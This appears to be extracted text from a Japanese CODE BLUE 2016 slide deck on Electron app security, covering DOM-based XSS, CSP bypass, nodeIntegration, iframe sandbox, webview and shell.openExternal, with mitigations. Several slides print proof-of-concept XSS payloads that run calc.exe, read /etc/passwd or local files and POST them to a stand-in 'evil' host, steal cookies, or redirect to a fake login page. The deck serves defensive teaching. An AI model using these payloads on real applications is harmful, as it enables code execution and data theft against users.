  • 15. Secure Sky Technology Inc. CODE BLUE 2016 Webアプリとしてのセキュリティ対策 ElectronにおけるXSS アプリを使っているユーザーの権限での任意コード の実行 PC内でそのユーザーができること全て  既存アプリケーションの破壊  オンラインバンキング用アプリの改ざん、盗聴  マルウェア感染、配信 該当アプリケーションの範囲を超えて何でもできる 開発者の責任の重みがまったく変わってくる
  • 16. Secure Sky Technology Inc. CODE BLUE 2016 Webアプリとしてのセキュリティ対策 Electronアプリに対する攻撃に対して Webサイト改ざんのJavaScript 難読化されていても最終的にはDOM操作 <iframe>や<script>の挿入を探す Electronに対する攻撃用JavaScript どのような処理でも可能性として存在 挙動を詳細に調査する必要がある 解析するため側の技術も未成熟
  • 17. Secure Sky Technology Inc. CODE BLUE 2016 Electronアプリのセキュリティ対策 おおきく3種類の問題に分けられる Webアプリとしてのセキュリティ対策 レンダラはブラウザ。DOM-based XSS対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など、古くから のアプリケーション同様の対策 Electron固有のセキュリティ対策 様々なElectronの機能に対する対策
  • 18. Secure Sky Technology Inc. CODE BLUE 2016 ローカルアプリとしてのセキュリティ対策 ローカルアプリのセキュリティ対策も必要 symlink攻撃 レースコンディション 暗号の不適切な利用 過大なアクセス権限  機密情報が644など ファイル名の別名表記  8.3形式、ADS(file.txt::$DATA)など その他諸々 Webアプリとは異なる知識背景 プラットフォーム固有の知識も必要
  • 19. Secure Sky Technology Inc. CODE BLUE 2016 Electronアプリのセキュリティ対策 おおきく3種類の問題に分けられる Webアプリとしてのセキュリティ対策 レンダラはブラウザ。DOM-based XSS対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など、古くから のアプリケーション同様の対策 Electron固有のセキュリティ対策 様々なElectronの機能に対する対策
  • 20. Secure Sky Technology Inc. CODE BLUE 2016 Electron固有のセキュリティ対策 個々のAPIを使う上での注意点 <webview> tag shell.openExternal Electronのアーキテクチャ上の問題点 BrowserWindowは通常 file:// をロードする ブラウザと異なりアドレスバーが存在しない
  • 21. Secure Sky Technology Inc. CODE BLUE 2016 Deep dive into DbXSS of Electron
  • 22. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS ソースをエスケープせずにシンクに与えることで JS上で発生するXSS ソース:攻撃者の与えた文字列 シンク:文字列からHTMLを生成したりコードとして 実行する箇所 ソース 処理 シンク location.hash location.href location.search document.referrer window.name xhr.responseText postMessage location.href document.write innerHTML eval Function setTimeoutsetInterval
  • 23. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS 従来のXSSでの被害 alertの表示 Webアプリ内に偽情報を表示 Cookieの奪取 Webアプリ内の機密情報の奪取 他には? elm.innerHTML = "<img src=# onerror=alert('xss!')>"; elm.innerHTML = "<form>ログイン:<input type='password'>"; elm.innerHTML = "<img src=# onerror="new Image().src='http://example.jp/?'+document.cookie">"; elm.innerHTML = "<img src=# onerror="new Image().src='http://example.jp/?'+elm.innerHTML">";
  • 24. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS on Electron apps レンダラ上でnode機能がデフォルト有効 // xss_source は攻撃者がコントロール可能な文字列 elm.innerHTML = xss_source; // XSS! <img src=# onerror= "require('child_process').exec('calc.exe',null);"> <img src=# onerror=" let s = require('fs').readFileSync('/etc/passwd','utf-8'); fetch( 'http://evil.utf-8.jp/', { method:'POST', body:s }); ">
  • 25. Secure Sky Technology Inc. CODE BLUE 2016 ” “ DOM-based XSS on Electron apps 任意コード実行が可能 - まるでバッファオーバーフロー XSS: The New Buffer Overflow In many respects, an XSS vulnerability is just as dangerous as a buffer overflow. 多くの点から見て、XSS 脆弱性の危険性はバッファ オーバーフローに匹敵します。 "Security Briefs: SDL Embraces The Web", Apr. 2008 http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e n-us/magazine/cc794277.aspx
  • 26. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS on Electron apps ソースをエスケープせずにシンクに与えることで JS上で発生するXSS ソース:攻撃者の与えた文字列 シンク:文字列からHTMLを生成したりコードとして 実行する箇所 ソース 処理 シンク location.hash location.href location.search document.referrer window.name xhr.responseText postMessage location.href document.write innerHTML eval Function setTimeoutsetInterval
  • 27. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS on Electron apps ソースをエスケープせずにシンクに与えることで JS上で発生するXSS ソース:攻撃者の与えた文字列 シンク:文字列からHTMLを生成したりコードとして 実行する箇所 ソース 処理 シンク location.hash location.href location.search document.referrer window.name xhr.responseText postMessage location.href document.write innerHTML eval Function setTimeoutsetInterval ユーザ名 データベース ファイルの内容 ファイルの内容 ファイル名 ログの内容 webFrame.executeJavaScript webViewrequire
  • 28. Secure Sky Technology Inc. CODE BLUE 2016 DOM-based XSS on Electron apps 従来のWebアプリでは存在しなかったソース HTTPやWebと無関係なあらゆるデータがXSSソー スとなり得る シンクはそれほど増えていない requireなどに動的な引数を与えることは通常ない ソースを意識するのではなく、シンクへ渡す際に エスケープすることが重要 適切なDOM操作(textContent、setAttribute等)
  • 29. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy
  • 30. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy XSS対策としてレンダラにCSPを適用することは 効果があるのか <head> <meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body> renderer //index.js elm.innerHTML = xss_source; // XSS!
  • 31. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy xss_source = '<meta http-equiv="refresh" content="0;http://evil.utf-8.jp/">'; <script> require('child_process').exec('calc.exe',null); </script> http://evil.utf-8.jp/ meta refreshはCSPによって制限されない レンダラで開かれる。レンダラ内ではnode機能が利用可能。 <head> <meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body> renderer //index.js elm.innerHTML = xss_source; // XSS!
  • 32. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy Another pattern <head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> renderer //index.js iframe.setAttribute("src", xss_source); // XSS?
  • 33. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy Another pattern <head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> renderer //index.js iframe.setAttribute("src", xss_source); // XSS! app.on('ready', () => { win = new BrowserWindow({width:600, height:400} ); win.loadURL(`file://${__dirname}/index.html`); .... main.js origin === 'file://'
  • 34. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy <head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> renderer //index.js iframe.setAttribute("src", xss_source); // XSS! xss_source = 'file://remote-server/share/trap.html'; window.top.location=`data:text/html, <script>require('child_process').exec('calc.exe',null);</script>`; file://remote-server/share/trap.html originが"file://"なので攻撃者のファイルサーバも同じオリジン top level windowではnode機能が使える
  • 35. Secure Sky Technology Inc. CODE BLUE 2016 Content Security Policy CSPによってリソースの読み込みを制限しても meta refreshによってページ遷移が可能 レンダラ内を攻撃者の用意した罠ページに遷移 攻撃者の用意した罠ページではもちろんCSPは効 かない file://なので攻撃者のリソースも同一オリジンに なる iframeやscriptソースを埋め込みやすい レンダラ内ではnode機能が使える 結論:CSPではXSSの脅威を軽減できない
  • 36. Secure Sky Technology Inc. CODE BLUE 2016 レンダラでのnodeの無効化
  • 37. Secure Sky Technology Inc. CODE BLUE 2016 レンダラでのnodeの無効化 レンダラのnodeを無効にすれば脅威は低減 BrowserWindow生成時に明示的に無効を指定す る必要がある。デフォルト有効。 app.on('ready', () => { win = new BrowserWindow( { webPreferences:{nodeIntegration:false} }); win.loadURL(`file://${__dirname}/index.html`); .... main.js
  • 38. Secure Sky Technology Inc. CODE BLUE 2016 レンダラでのnodeの無効化 レンダラではデフォルトでnode機能が有効に なっている 明示的にnodeを無効にしなければ有効のまま レンダラでnodeを無効にすると、Electronアプリと して実用的なことが出来なくなる それでもnode無効化は効果があるのか?
  • 39. Secure Sky Technology Inc. CODE BLUE 2016 レンダラでのnodeの無効化 node無効のJSでどこまでの攻撃が可能か そもそもオリジンがfile://になっている XHR等でローカルファイルの読み取りが可能 app.on('ready', () => { win = new BrowserWindow( { webPreferences:{nodeIntegration:false} }); win.loadURL(`file://${__dirname}/index.html`); .... var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://c:/file.txt", true ); xhr.onload = () => { fetch( "http://example.jp/", { method:"POST",body:xhr.responseText } ); }; xhr.send( null );
  • 40. Secure Sky Technology Inc. CODE BLUE 2016 レンダラでのnode無効化 明示的に指定することでnodeを無効化できる nodeを無効化にするとアプリとして実用的なこ とは出来なくなる nodeを無効にしてもローカルファイルの読み取 りは可能
  • 41. Secure Sky Technology Inc. CODE BLUE 2016 iframe sandbox
  • 42. Secure Sky Technology Inc. CODE BLUE 2016 iframe sandbox アプリケーションとしてDOM操作する対象を <iframe sandbox>内のみに限定する iframeを外から操作 iframe内でDbXSSが発生しても被害を抑えられる <iframe sandbox="allow-same-origin" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe> .... document.querySelector("#sb") .contentDocument.querySelector("#msg").innerHTML = "Hello, XSS!<script>alert(1)</script>"; // not work
  • 43. Secure Sky Technology Inc. CODE BLUE 2016 DbXSSの緩和 - <iframe sandbox> <iframe sandbox[="params"]> 代表的なもの allow-forms - フォームの実行を許可 allow-scripts - スクリプトの実行を許可 allow-same-origin - 同一オリジン扱いを許可 allow-top-navigation - topへの干渉を許可 allow-popups - ポップアップを許可 allow-scriptsを指定するのは危険 iframe内で普通にJSが動く allow-top-navigation、allow-popupsも危険
  • 44. Secure Sky Technology Inc. CODE BLUE 2016 <iframe sandbox="allow-popups"> <iframe sandbox="allow-same-origin allow-popups" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe> ... var xss = `<a target="_blank" href="data:text/html,<script>require('child_process') .exec('calc.exe',null);</script>">Click</a>`; document.querySelector("#sb") .contentDocument.querySelector("#msg").innerHTML = xss; Click (iframe) data:text/html, <script>require(...) ← CE C ± √ 7 8 9 / % 4 5 6 * 1/x 1 2 3 - = 0 . + 0 popupによって生成されたBrowserWindowでは、node 機能が有効な状態でJavaScriptが動く
  • 45. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag
  • 46. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag 他のサイトをレンダラ内に埋め込む iframeと異なりwebview内から外側は完全に見え ない(window.topなど) 外からも簡単にはDOM操作できない (iframe.contentWindowのようなものはない) webviewごとにnode機能の有無を指定可能 allowpopups属性により新しいウィンドウの生成を 許可 <webview src="http://example.jp/"></webview> <webview src="http://example.jp/" nodeintegration></webview> <webview src="http://example.jp/" allowpopups></webview>
  • 47. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag window.open()、<a target=_blank>などで新 しく開かれたウィンドウ iframeとwebviewではnodeの有効・無効は異なる <webview allow-popups> node無効 レンダラ (node有効) <iframe> nodeは常に無効 レンダラ (node有効) <webview allow-popups nodeintegration> node有効 レンダラ (node有効) 新しいレンダラ (node無効) 新しいレンダラ (node有効) 新しいレンダラ (node有効)
  • 48. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag nodeは無効にしpreload機能を使うほうが安全 preload script内ではnode無効のwebview内で あってもnode機能が利用可能 <webview src="http://example.jp/" preload="./prealod.js"> </webview> //preload.js window.loadConfig = function(){ let file = `${__dirname}/config.json`; let s = require("fs").readFileSync( file, "utf-8" ); return JSON.eval( s ); };
  • 49. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag よくあるケース 既存のWebアプリのネイティブアプリ化 <webview>内に既存のWebアプリを埋め込み <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> Code Blue SNS Ads
  • 50. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag よくあるケース 既存のWebアプリのネイティブアプリ化 <webview>内に既存のWebアプリを埋め込み <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> Code Blue SNS Ads webview
  • 51. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag よくあるケース 既存のWebアプリのネイティブアプリ化 <webview>内に既存のWebアプリを埋め込み <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> Code Blue SNS Ads webview webview内に3rd partyの 広告が入る
  • 52. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag webview内に3rd partyの広告が入る場合 広告JSもwebview内で自由にコード実行 webviewでnodeが有効な場合は広告JSもnode 機能も使える nodeが無効な場合でもwindow.top経由で全画 面書き換え、偽ログイン画面の表示などはできる 悪意ある広告、配信サーバの汚染など… Code Blue SNS User: Pass: // load fake login page window.top = "http://evil.utf-8.jp/";
  • 53. Secure Sky Technology Inc. CODE BLUE 2016 <webview> tag 対策: 広告はiframe sandbox内に表示  topへの干渉を防ぐ  JS埋め込み型の広告だと対策できない Webアプリ  オリジンを超えて広告がWebアプリへ影響を与えること はない  ユーザーはアドレスバーで正規サイトか確認できる Electronアプリ  iframe内の広告でもnode機能が有効なら悪意ある コードが実行可能  アドレスバーがないので正規サイトかの確認ができない
  • 54. Secure Sky Technology Inc. CODE BLUE 2016 window.open from <webview> allowpopups属性 window.openでpopupが可能になる window.openではfile:スキームも指定可能 攻撃者はファイルサーバを経由することでfile://オリ ジンのスクリプトを動作させ、ローカルファイルを読 み取ることが可能 <webview src="http://example.jp/" allowpopups></webview> // http://example.jp window.open("file://remote-server/share/trap.html"); // file://remote-server/share/trap.html var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://C:/secret.txt", true );
  • 55. Secure Sky Technology Inc. CODE BLUE 2016 window.open from <webview> 対策 allowpopups属性をつけない または、main.js側でURLを検査 // main.js app.on('browser-window-created', (evt, window) => { window.webContents.on('new-window', (evt,url) => { let protocol = require('url').parse(url).protocol; if (!protocol.match( /^https?:/ )) { evt.defaultPrevented = true; console.log( "invalid url", url ); } }); });
  • 56. Secure Sky Technology Inc. CODE BLUE 2016 shell.openExternal shell.openItem
  • 57. Secure Sky Technology Inc. CODE BLUE 2016 shell.openExternal, shell.openItem URLや拡張子に対応した外部プログラムを起動 const {shell} = require( 'electron' ); const url = 'http://example.jp/'; shell.openExternal( url ); // OS標準のブラウザが起動 shell.openItem( url ); let file = 'C:/Users/hasegawa/test.txt'; shell.openExternal( file ); // OS標準の方法でファイルを開く shell.openItem( file ); let filename = 'file://C:/Users/hasegawa/test.txt'; shell.openExternal( file ); // OS標準の方法でファイルを開く shell.openItem( file );
  • 58. Secure Sky Technology Inc. CODE BLUE 2016 shell.openExternal, shell.openItem よくあるケース webviewからのwindow.openなどをOS標準のブ ラウザで開く 攻撃者がURLを細工できる場合、任意のコマンドを 起動可能  コマンドに引数は渡せない webview.on( 'new-window', (e) => { shell.openExternal( e.url ); // OS標準のブラウザで開く }); <a href="file://c:/windows/system32/calc.exe">Click</a>
  • 59. Secure Sky Technology Inc. CODE BLUE 2016 shell.openExternal, shell.openItem shell.openExternal、shell.openItemには任 意のURLが渡らないよう確認が必要 if (url.match( /^https?:/// )) { shell.openExternal( url ); //ブラウザで開く }
  • 60. Secure Sky Technology Inc. CODE BLUE 2016 Conclusion
  • 61. Secure Sky Technology Inc. CODE BLUE 2016 Conclusion domXss().then( die ); // ACE nodeが有効なコンテキストで外部のスクリプト が動かないよう細心の注意が必要 file:スキームで外部のスクリプトが動かないよう 細心の注意が必要 攻撃者は罠ファイルサーバを利用可能
  • 62. Secure Sky Technology Inc. CODE BLUE 2016 Question ? hasegawa@utf-8.jp @hasegawayosuke http://utf-8.jp/ Credits to @harupuxa, @kinugawamasato, nishimunea